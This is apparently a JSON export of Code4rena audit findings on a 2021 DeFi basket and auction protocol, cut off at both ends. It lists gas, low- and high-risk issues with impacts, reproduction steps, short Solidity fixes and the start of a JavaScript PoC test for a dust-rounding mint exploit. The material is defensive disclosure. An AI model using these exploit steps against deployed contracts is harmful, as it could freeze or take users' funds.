auctionBonder so as to make them lose their bondAmount because their bonded auction cannot be settled. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Auction.sol#L143 https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Auction.sol#L143-L147 https://docs.soliditylang.org/en/v0.8.7/types.html#data-location-and-assignment-behaviour ## Tools Used Manual Analysis ## Recommended Mitigation Steps Recommend changing storage specifier of bounty to \"storage\" instead of \u201cmemory\". "}, {"title": "Bounty list is never pruned to remove inactive bounties", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/165", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Given that there is no removal of claimed/inactive bounties, the bounty list could grow very long over time requiring a lot of gas for traversal. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Auction.sol#L126-L151 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Recommend pruning the claimed bounties by deleting them from the list. "}, {"title": "Missing interfaces to determine available bounties", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/164", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Missing interfaces to determine available bounties"}, {"title": "Event params are of no practical value", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/163", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle hack3r-0m # Vulnerability details https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Factory.sol#L87 ``` emit BasketLicenseProposed(msg.sender, tokenName); ``` same event can be emitted with excat same parameters multiple times causing confusion to actors relying on it. Mitigation: Add proposal id or some other parameter "}, {"title": "Malicious tokens can execute arbitrary code", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/162", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Malicious tokens can execute arbitrary code"}, {"title": "Gas Optimization Wrt. Token Uniqueness", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/160", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `validateWeights()` function can be better optimised by using a hashmap to measure token uniqueness. Currently, the function utilises an `O(n^2)` solution. By first iterating through each hashmap index for `_tokens`, any previously set tokens can be first cleared . This improves the current solution to `O(n)`. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Basket.sol#L53-L70 ## Tools Used Manual code review ## Recommended Mitigation Steps Consider using a hashmap to measure token uniqueness. However, this hashmap needs to first be cleared out before using it each time in `validateWeights()`. "}, {"title": "Missing check for auctionOngoing is risky", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/157", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact killAuction() is missing a require() to check that auctionOngoing == true before setting it to false. While currently, the caller publishNewIndex() in Basket has this condition checked, any other usages may accidentally call this when auction is not ongoing. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Auction.sol#L43-L45 https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L175-L187 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add require(auctionOngoing == true) "}, {"title": "Unused constant", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/156", "labels": ["bug", "G (Gas Optimization)", "disagree with severity", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Unused constant BLOCK_DECREMENT may be an indication of missing logic or redundant code. In this case, this appears to be a redundant constant same as Factory.auctionDecrement. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Auction.sol#L14 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Use the constant or remove it. "}, {"title": "Choose either explicit return or named return, not both", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/154", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Choosing either named return or explicit instead of specifying both may reduce gas due to unnecessary bytecode introduced. proposeBasketLicense() uses a named return variable which is never assigned and instead uses an explicit return statement. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Factory.sol#L71 https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Factory.sol#L90 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Choose either explicit return or named return, not both "}, {"title": "Avoiding unnecessary return can save gas", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/153", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Unnecessary return of argument value via state variable which costs a SLOAD, returns the same value as argument back to caller where the return value is ignored. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L221 https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L216-L222 https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Auction.sol#L104 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove return value for this function. "}, {"title": "Loop can be skipped for i == 0", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/151", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Loop can be skipped for i == 0"}, {"title": "Unnecessary initialization of loop index variable", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/150", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Unnecessary initialization of loop index variable"}, {"title": "Using delete to clear variables instead of zero assignment\u2028", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/149", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Using delete to clear variables instead of zero assignment\u2028"}, {"title": "Caching return values of external calls in local/memory variables avoids CALLs to save gas\u2028", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/147", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact There are places across contracts where the same external calls are made multiple times within a function. Caching return values of such calls in local/memory variables avoids CALLs to save gas. CALLs cost 2600 gas after Berlin upgrade. MLOADs cost only 3 gas units. ## Proof of Concept Cache factory.ownerSplit() return value to save 2600 gas in this function which gets called at every mint/burn.: https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L120-L121 Hoist basketAsERC20.totalSupply() external call out of the loop because it remains the same and each call costs 2600 gas: https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Auction.sol#L96-L99 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Cache return values of external calls in local/memory variables "}, {"title": "Caching state variables in local/memory variables avoids SLOADs to save gas", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/145", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "Caching state variables in local/memory variables avoids SLOADs to save gas"}, {"title": "Avoiding state variables in emits saves gas\u2028", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/143", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Avoiding state variables in emits saves gas\u2028"}, {"title": "Lack of guarded launch approach may be risky", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/139", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Lack of guarded launch approach may be risky"}, {"title": "`Auction.sol#initialize()` Use msg.sender rather than factory_ parameter can save gas", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/137", "labels": ["bug", "duplicate", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Auction.sol#L47-L52 `Auction.sol#initialize()` is using the factory_ parameter as the value of `factory`, while `Basket.sol#initialize()` uses `msg.sender`. https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Basket.sol#L39 Consider changing to `msg.sender` and remove the `factory_` parameter for the purpose of consistency and gas saving. "}, {"title": "`Auction.sol#settleAuction()` Mishandling bounty state could potentially disrupt `settleAuction()`", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/136", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Auction.sol#L143 ```solidity=140 function withdrawBounty(uint256[] memory bountyIds) internal { // withdraw bounties for (uint256 i = 0; i < bountyIds.length; i++) { Bounty memory bounty = _bounties[bountyIds[i]]; require(bounty.active); IERC20(bounty.token).transfer(msg.sender, bounty.amount); bounty.active = false; emit BountyClaimed(msg.sender, bounty.token, bounty.amount, bountyIds[i]); } } ``` In the `withdrawBounty` function, `bounty.active` should be set to `false` when the bounty is claimed. However, since `bounty` is stored in memory, the state update will not succeed. ### Impact An auction successfully bonded by a regular user won't be able to be settled if they passed seemly active bountyIds, and the bonder will lose the bond. ### Proof of Concept 1. Create an auction; 2. Add a bounty; 3. Auction settled with bounty claimed; 4. Create a new auction; 5. Add a new bounty; 6. Calling `settleAuction()` with the bountyIds of the 2 seemly active bounties always reverts. ### Recommended Mitigation Steps Change to: ```solidity= Bounty storage bounty = _bounties[bountyIds[i]]; ``` "}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/135", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Adding unchecked directive can save gas"}, {"title": "`Basket.sol#auctionBurn()` A failed auction will freeze part of the funds", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/134", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Basket.sol#L102-L108 Given the `auctionBurn()` function will `_burn()` the auction bond without updating the `ibRatio`. Once the bond of a failed auction is burned, the proportional underlying tokens won't be able to be withdrawn, in other words, being frozen in the contract. ### Proof of Concept With the configuration of: basket.ibRatio = 1e18 factory.bondPercentDiv = 400 basket.totalSupply = 400 basket.tokens = [BTC, ETH] basket.weights = [1, 1] 1. Create an auction; 2. Bond with 1 BASKET TOKEN; 3. Wait for 24 hrs and call `auctionBurn()`; `basket.ibRatio` remains to be 1e18; basket.totalSupply = 399. Burn 1 BASKET TOKEN will only get back 1 BTC and 1 ETH, which means, there are 1 BTC and 1 ETH frozen in the contract. ### Recommended Mitigation Steps Change to: ```solidity= function auctionBurn(uint256 amount) onlyAuction external override { handleFees(); uint256 startSupply = totalSupply(); _burn(msg.sender, amount); uint256 newIbRatio = ibRatio * startSupply / (startSupply - amount); ibRatio = newIbRatio; emit NewIBRatio(newIbRatio); emit Burned(msg.sender, amount); } ``` "}, {"title": "Fee calculation is potentially incorrect", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/129", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle itsmeSTYJ # Vulnerability details ## Impact More fees are actually charged than intended ## Mitigation Steps [Basket.sol line 118](https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Basket.sol#L118) Assume that license fee is 10% i.e. 1e17 and time diff = half a year. When you calculate `feePct`, you expect to get 5e16 since that's 5% and the actual amount of fee to be charged should be totalSupply * feePct (5) / BASE (100) but on line 118, we are actually dividing by BASE - feePct i.e. 95. 5 / 95 = 0.052 instead of the intended 0.05. Solution is to replace `BASE - feePct` in the denominator with `BASE`. "}, {"title": " Protocol owner fee limit not verified correctly (Factory.sol)", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/127", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": " Protocol owner fee limit not verified correctly (Factory.sol)"}, {"title": "Settle Time Limit not set correctly (Auction.sol)", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/126", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-defiprotocol-findings", "body": "Settle Time Limit not set correctly (Auction.sol)"}, {"title": "Variable assignment has no effect", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/124", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle nikitastupin # Vulnerability details Here https://github.com/code-423n4/2021-09-defiProtocol/blob/e6dcf43a2f03aa65e04f0edc8ed1d7272677fabe/contracts/contracts/Auction.sol#L143-L143 the `bounty` variable is copied from Storage to Memory. Later it's assigned to false https://github.com/code-423n4/2021-09-defiProtocol/blob/e6dcf43a2f03aa65e04f0edc8ed1d7272677fabe/contracts/contracts/Auction.sol#L147. However, this assignment has no effect because `bounty` variable located at Memory so it's basically just thrown away when loop iteration finishes. I think the intention was to make the `bounty.active` false so the same bounty isn't claimed twice or more times https://github.com/code-423n4/2021-09-defiProtocol/blob/e6dcf43a2f03aa65e04f0edc8ed1d7272677fabe/contracts/contracts/Auction.sol#L144. However, the `bounty.active` will always be true because it never changes to false except for https://github.com/code-423n4/2021-09-defiProtocol/blob/e6dcf43a2f03aa65e04f0edc8ed1d7272677fabe/contracts/contracts/Auction.sol#L147 (which has no effect). ## Impact I don't see the direct impact here, however it may arise with the future changes to the contracts. ## Proof of Concept I'll write a PoC if needed. ## Recommended Mitigation Steps Do `_bounties[bountyIds[i]].active = false` instead of `bounty.active = false` if you need this check or just remove `bounty.active = false` and `require(bounty.active)` lines to save a gas otherwise. "}, {"title": "Timelocked functions doesn't emit proposal events", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/123", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle nikitastupin # Vulnerability details Usually timelock is used in order to give a users of a protocol time to react on protocol changes (e.g. to withdraw their funds). Thus timelock implementations have Proposal and Execution steps. The main way to monitor blockchain changes and react to them is to listen for emitted events. However, none of the timelocked functions (`changePublisher`, `changeLicenseFee`, `publishNewIndex`) emits an event on Proposal step (e.g. https://github.com/code-423n4/2021-09-defiProtocol/blob/e6dcf43a2f03aa65e04f0edc8ed1d7272677fabe/contracts/contracts/Basket.sol#L144-L147), they emit an event only on Execution step (e.g. https://github.com/code-423n4/2021-09-defiProtocol/blob/e6dcf43a2f03aa65e04f0edc8ed1d7272677fabe/contracts/contracts/Basket.sol#L143-L143). ## Impact Events aren't emitted at critical functions. ## Proof of Concept I'll write a PoC if needed. ## Recommended Mitigation Steps Add events after (1) https://github.com/code-423n4/2021-09-defiProtocol/blob/e6dcf43a2f03aa65e04f0edc8ed1d7272677fabe/contracts/contracts/Basket.sol#L145-L146, (2) https://github.com/code-423n4/2021-09-defiProtocol/blob/e6dcf43a2f03aa65e04f0edc8ed1d7272677fabe/contracts/contracts/Basket.sol#L163-L164, (3) https://github.com/code-423n4/2021-09-defiProtocol/blob/e6dcf43a2f03aa65e04f0edc8ed1d7272677fabe/contracts/contracts/Basket.sol#L189-L192 and https://github.com/code-423n4/2021-09-defiProtocol/blob/e6dcf43a2f03aa65e04f0edc8ed1d7272677fabe/contracts/contracts/Basket.sol#L182-L186. "}, {"title": "Timelock period may be less than 24 hours because it depends on `block.number` instead of `block.timestamp`", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/122", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Timelock period may be less than 24 hours because it depends on `block.number` instead of `block.timestamp`"}, {"title": "lack of checks in `Factory::setBondPercentDiv` allow owner to prevent bonding in Auction::bondForRebalance()", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/121", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "lack of checks in `Factory::setBondPercentDiv` allow owner to prevent bonding in Auction::bondForRebalance()"}, {"title": "lack of checks in Factory.setAuctionMultiplier", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/120", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "lack of checks in Factory.setAuctionMultiplier"}, {"title": "Factory.sol - lack of checks in `setAuctionDecrement` will cause reverts in Auction::settleAuction()", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/119", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Factory.sol - lack of checks in `setAuctionDecrement` will cause reverts in Auction::settleAuction()"}, {"title": "Factory.sol - lack of checks for setMinLicenseFee", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/118", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Factory.sol - lack of checks for setMinLicenseFee"}, {"title": "specs not according to the docs", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/115", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "specs not according to the docs"}, {"title": "use of approve() instead of safeApprove()", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/114", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact by using approve() , we are not checking the value returned by the approve ,wether it got failed or successfully executed. so it is safe to use safeApproval() ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L226 ## Tools Used manual review ## Recommended Mitigation Steps use safeApprove() "}, {"title": "lack of checking of array length", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/111", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact due to lack of checking of array parameters in settleAuction() , these array parameters can have different length which can lead to error. inputWeight is iterated over the length of inputToken if one of the parameter have less length than other one will become inaccessible which can lead to error ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Auction.sol#L69 ## Tools Used manual review ## Recommended Mitigation Steps "}, {"title": "Packing storage variables in Auction would save gas", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/109", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Packing storage variables in Auction would save gas"}, {"title": "settleAuction should be external and arguments should use calldata", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/108", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle t11s # Vulnerability details ## Impact Gas is wasted making `settleAuction` public, and using `memory` Instead of calldata for its arguments. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Auction.sol#L69 "}, {"title": "licenseFee can be greater than BASE", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/104", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "licenseFee can be greater than BASE"}, {"title": "tokensNeeded can potentially be 0", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/101", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle itsmeSTYJ # Vulnerability details ## Impact If tokensNeeded is 0, it is possible to remove all the funds in the basket since no tokens are required to pass the balanceOf checks. The chances of this happening is very unlikely however it is better to be safe than sorry. ## Recommended Mitigation Steps Add a require statement to check that the numerator (`basketAsERC20.totalSupply() * pendingWeights[i] * newRatio`) is greater than or eq to the denominator (`BASE * BASE`). This will ensure that it can never round down i.e. tokensNeeded can never be 0. "}, {"title": "Suggestion for incentive alignment", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/99", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Suggestion for incentive alignment"}, {"title": "Misleading variable names", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/98", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Misleading variable names"}, {"title": "Use CEI pattern to align w/ best practices", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/97", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Use CEI pattern to align w/ best practices"}, {"title": "Only validateWeights when it is needed", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/95", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Only validateWeights when it is needed"}, {"title": "set lastFee in initialize() function", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/94", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle itsmeSTYJ # Vulnerability details ## Impact Gas optimisation ## Recommended Mitigation Steps The if branch in the handleFee() function is only there to handle the very first time handleFees are called. Thereafter, this condition will always fail so it makes more sense to initialize it with the initialize() function. ```jsx function initialize(IFactory.Proposal memory proposal, IAuction auction_) public override { publisher = proposal.proposer; licenseFee = proposal.licenseFee; factory = IFactory(msg.sender); auction = auction_; ibRatio = BASE; tokens = proposal.tokens; weights = proposal.weights; lastFee = block.timestamp; // updated lastFee here approveUnderlying(address(auction)); __ERC20_init(proposal.tokenName, proposal.tokenSymbol); } ... function handleFees() private { // if (lastFee == 0) { // delete this // lastFee = block.timestamp; // delete this // } else { // delete this uint256 startSupply = totalSupply(); uint256 timeDiff = (block.timestamp - lastFee); uint256 feePct = timeDiff * licenseFee / ONE_YEAR; uint256 fee = startSupply * feePct / (BASE - feePct); _mint(publisher, fee * (BASE - factory.ownerSplit()) / BASE); _mint(Ownable(address(factory)).owner(), fee * factory.ownerSplit() / BASE); lastFee = block.timestamp; uint256 newIbRatio = ibRatio * startSupply / totalSupply(); ibRatio = newIbRatio; emit NewIBRatio(ibRatio); // } // delete this } ``` "}, {"title": "Transfer tokens directly to the basket", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/92", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Transfer tokens directly to the basket"}, {"title": "`Auction.sol#settleAuction()` late auction bond could potentially not being able to be settled, cause funds loss to bonder", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/90", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle WatchPug # Vulnerability details The `newRatio` that determines `tokensNeeded` to settle the auction is calculated based on `auctionMultiplier`, `bondTimestamp - auctionStart` and `auctionDecrement`. ```solidity= uint256 a = factory.auctionMultiplier() * basket.ibRatio(); uint256 b = (bondTimestamp - auctionStart) * BASE / factory.auctionDecrement(); uint256 newRatio = a - b; ``` However, if an auction is bonded late (`bondTimestamp - auctionStart` is a large number), and/or the `auctionMultiplier` is small enough, and/or the `auctionDecrement` is small enough, that makes `b` to be greater than `a`, so that `uint256 newRatio = a - b;` will revert on underflow. This might seem to be an edge case issue, but considering that a rebalance auction of a bag of shitcoin to high-value tokens might just end up being bonded at the last minute, with a `newRatio` near zero. When we take the time between the bonder submits the transaction and it got packed into a block, it's quite possible that the final `bondTimestamp` gets large enough to revet `a - b`. ### Impact An auction successfully bonded by a regular user won't be able to be settled, and the user will lose the bond. ### Proof of Concept With the configuration of: basket.ibRatio = 1e18 factory.auctionDecrement = 5760 (Blocks per day) factory.auctionMultiplier = 2 1. Create an auction; 2. The auction remain inactive (not get bonded) for more than 2 days (>11,520 blocks); 3. Call `bondForRebalance()` and it will succeed; 4. Calling `settleAuction()` will always revert. ### Recommended Mitigation Steps Calculate and require `newRatio > 0` in `bondForRebalance()`, or limit the max value of decrement and make sure newRatio always > 0 in `settleAuction()`. "}, {"title": "`Factory.sol` Lack of two-step procedure and/or input validation routines for critical operations leaves them error-prone", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/89", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "`Factory.sol` Lack of two-step procedure and/or input validation routines for critical operations leaves them error-prone"}, {"title": "Missing Zero-Address Checks", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/86", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Missing Zero-Address Checks"}, {"title": "Redundant Balance Check", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/85", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle shenwilly # Vulnerability details ## Impact OpenZeppelin ERC20Upgradeable `_burn` already checks for account balance, so another check is unnecessary. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L92 ## Recommended Mitigation Steps Remove the require statement "}, {"title": "Lack of zero ratio validation", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/83", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle defsec # Vulnerability details ## Impact During the manual code review, It has been observed that zero value has not been checked on that \"ibRatio\" variable. That can cause miscalculation of the liquidity. ## Proof of Concept 1. Navigate to \"https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Basket.sol\" 2. Go to the line #217. \"\"\" ibRatio = newRatio; \"\"\" 3. Onlyauction modifier can assign ibRation to 0. 4. That can affect tokenAmount on the function. \"\"\" function pushUnderlying(uint256 amount, address to) private { for (uint256 i = 0; i < weights.length; i++) { uint256 tokenAmount = amount * weights[i] * ibRatio / BASE / BASE; IERC20(tokens[i]).safeTransfer(to, tokenAmount); } } \"\"\" ## Tools Used None ## Recommended Mitigation Steps Validate to ibRatio variable is more than zero. \"\"\" require(ibRation > 0 , \"ibRatio should be more than zero\"); \"\"\" "}, {"title": "`Auction.sol#settleAuction()` addBounty with a fake token could potentially disrupt `settleAuction()`", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/82", "labels": ["bug", "1 (Low Risk)"], "target": "2021-09-defiprotocol-findings", "body": "`Auction.sol#settleAuction()` addBounty with a fake token could potentially disrupt `settleAuction()`"}, {"title": "User can mint miniscule amount of shares, later withdraw miniscule more than deposited", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/81", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle kenzo # Vulnerability details If a user is minting small amount of shares (like 1 - amount depends on baskets weights), the calculated amount of tokens to pull from the user can be less than 1, and therefore no tokens will be pulled. However the shares would still be minted. If the user does this a few times, he could then withdraw the total minted shares and end up with more tokens than he started with - although a miniscule amount. ## Impact User can end up with more tokens than he started with. However, I didn't find a way for the user to get an amount to make this a feasible attack. He gets dust. However he can still get more than he deserves. If for some reason the basket weights grow in a substantial amount, this could give the user more tokens that he didn't pay for. ## Proof of Concept Add the following test to Basket.test.js. The user starts with 5e18 UNI, 1e18 COMP, 1e18 AAVE, and ends with 5e18+4, 1e18+4, 1e18+4. ``` it(\"should give to user more than he deserves\", async () => { await UNI.connect(owner).mint(ethers.BigNumber.from(UNI_WEIGHT).mul(1000000)); await COMP.connect(owner).mint(ethers.BigNumber.from(COMP_WEIGHT).mul(1000000)); await AAVE.connect(owner).mint(ethers.BigNumber.from(AAVE_WEIGHT).mul(1000000)); await UNI.connect(owner).approve(basket.address, 